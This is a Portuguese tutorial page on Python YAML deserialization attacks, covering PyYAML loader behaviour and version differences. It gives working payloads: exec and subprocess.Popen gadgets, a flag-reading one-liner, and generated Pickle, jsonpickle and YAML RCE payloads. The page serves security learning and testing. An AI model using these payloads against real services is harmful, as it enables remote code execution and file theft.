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# Desserialização Yaml
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As bibliotecas Yaml em Python também são capazes de **desserializar objetos Python** e não apenas dados brutos:
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```
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print(yaml.dump(str("lol")))
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lol
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...
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print(yaml.dump(tuple("lol")))
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!!python/tuple
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- l
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|
- o
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|
- l
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print(yaml.dump(range(1,10)))
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!!python/object/apply:builtins.range
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- 1
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- 10
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- 1
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```
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Verifique como a **tupla** não é um tipo de dado bruto e, portanto, foi **serializada**. E o mesmo aconteceu com o **range** (retirado dos builtins).
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 (1).png>)
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**safe\_load()** ou **safe\_load\_all()** usa o SafeLoader e **não suporta a desserialização de objetos de classe**. Exemplo de desserialização de objetos de classe:
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```python
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import yaml
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from yaml import UnsafeLoader, FullLoader, Loader
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data = b'!!python/object/apply:builtins.range [1, 10, 1]'
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print(yaml.load(data, Loader=UnsafeLoader)) #range(1, 10)
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print(yaml.load(data, Loader=Loader)) #range(1, 10)
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print(yaml.load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
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print(yaml.load_all(data, Loader=Loader)) #<generator object load_all at 0x7fc4c6d8f040>
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print(yaml.load_all(data, Loader=UnsafeLoader)) #<generator object load_all at 0x7fc4c6d8f040>
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print(yaml.load_all(data, Loader=FullLoader)) #<generator object load_all at 0x7fc4c6d8f040>
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print(yaml.unsafe_load(data)) #range(1, 10)
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print(yaml.full_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
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print(yaml.unsafe_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
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#The other ways to load data will through an error as they won't even attempt to
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#deserialize the python object
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```
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O código anterior usou **unsafe\_load** para carregar a classe python serializada. Isso ocorre porque na **versão >= 5.1**, não é permitido **desserializar qualquer classe python serializada ou atributo de classe**, com Loader não especificado em load() ou Loader=SafeLoader.
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## Exploração Básica
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Exemplo de como **executar um sleep**:
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```python
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import yaml
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from yaml import UnsafeLoader, FullLoader, Loader
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data = b'!!python/object/apply:time.sleep [2]'
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print(yaml.load(data, Loader=UnsafeLoader)) #Executed
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print(yaml.load(data, Loader=Loader)) #Executed
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print(yaml.load_all(data))
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print(yaml.load_all(data, Loader=Loader))
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print(yaml.load_all(data, Loader=UnsafeLoader))
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print(yaml.load_all(data, Loader=FullLoader))
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print(yaml.unsafe_load(data)) #Executed
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print(yaml.full_load_all(data))
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print(yaml.unsafe_load_all(data))
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```
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## Vulnerabilidade .load("\<conteúdo>") sem Loader
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As **versões antigas** do pyyaml eram vulneráveis a ataques de deserialização se você **não especificasse o Loader** ao carregar algo: `yaml.load(data)`
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Você pode encontrar a [**descrição da vulnerabilidade aqui**](https://hackmd.io/@defund/HJZajCVlP)**.** O **exploit** proposto nessa página é:
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```yaml
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!!python/object/new:str
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state: !!python/tuple
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- 'print(getattr(open("flag\x2etxt"), "read")())'
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- !!python/object/new:Warning
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state:
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update: !!python/name:exec
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```
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Ou você também pode usar este **comando de uma linha fornecido por @ishaack**:
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```yaml
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!!python/object/new:str {state: !!python/tuple ['print(exec("print(o"+"pen(\"flag.txt\",\"r\").read())"))', !!python/object/new:Warning {state : {update : !!python/name:exec } }]}
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```
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Observe que em **versões recentes** você não pode **mais chamar `.load()`** **sem um `Loader`** e o **`FullLoader`** não é mais vulnerável a esse ataque.
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# RCE
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Por favor, observe que a criação de payload pode ser feita com **qualquer módulo YAML do Python (PyYAML ou ruamel.yaml), da mesma maneira**. O mesmo payload pode explorar tanto o módulo YAML quanto qualquer módulo baseado em PyYAML ou ruamel.yaml.
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```python
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import yaml
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from yaml import UnsafeLoader, FullLoader, Loader
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import subprocess
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class Payload(object):
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def __reduce__(self):
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return (subprocess.Popen,('ls',))
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deserialized_data = yaml.dump(Payload()) # serializing data
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print(deserialized_data)
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#!!python/object/apply:subprocess.Popen
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#- ls
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print(yaml.load(deserialized_data, Loader=UnsafeLoader))
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print(yaml.load(deserialized_data, Loader=Loader))
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print(yaml.unsafe_load(deserialized_data))
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```
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## Ferramenta para criar payloads
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A ferramenta [https://github.com/j0lt-github/python-deserialization-attack-payload-generator](https://github.com/j0lt-github/python-deserialization-attack-payload-generator) pode ser usada para gerar payloads de deserialização em Python para abusar do **Pickle, PyYAML, jsonpickle e ruamel.yaml:**
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```bash
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python3 peas.py
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Enter RCE command :cat /root/flag.txt
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Enter operating system of target [linux/windows] . Default is linux :linux
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Want to base64 encode payload ? [N/y] :
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Enter File location and name to save :/tmp/example
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Select Module (Pickle, PyYAML, jsonpickle, ruamel.yaml, All) :All
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Done Saving file !!!!
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cat /tmp/example_jspick
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{"py/reduce": [{"py/type": "subprocess.Popen"}, {"py/tuple": [{"py/tuple": ["cat", "/root/flag.txt"]}]}]}
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cat /tmp/example_pick | base64 -w0
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gASVNQAAAAAAAACMCnN1YnByb2Nlc3OUjAVQb3BlbpSTlIwDY2F0lIwOL3Jvb3QvZmxhZy50eHSUhpSFlFKULg==
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cat /tmp/example_yaml
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!!python/object/apply:subprocess.Popen
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- !!python/tuple
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- cat
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- /root/flag.txt
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```
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# Referências
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Para obter informações mais detalhadas sobre essa técnica, leia: [https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf](https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf)
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<details>
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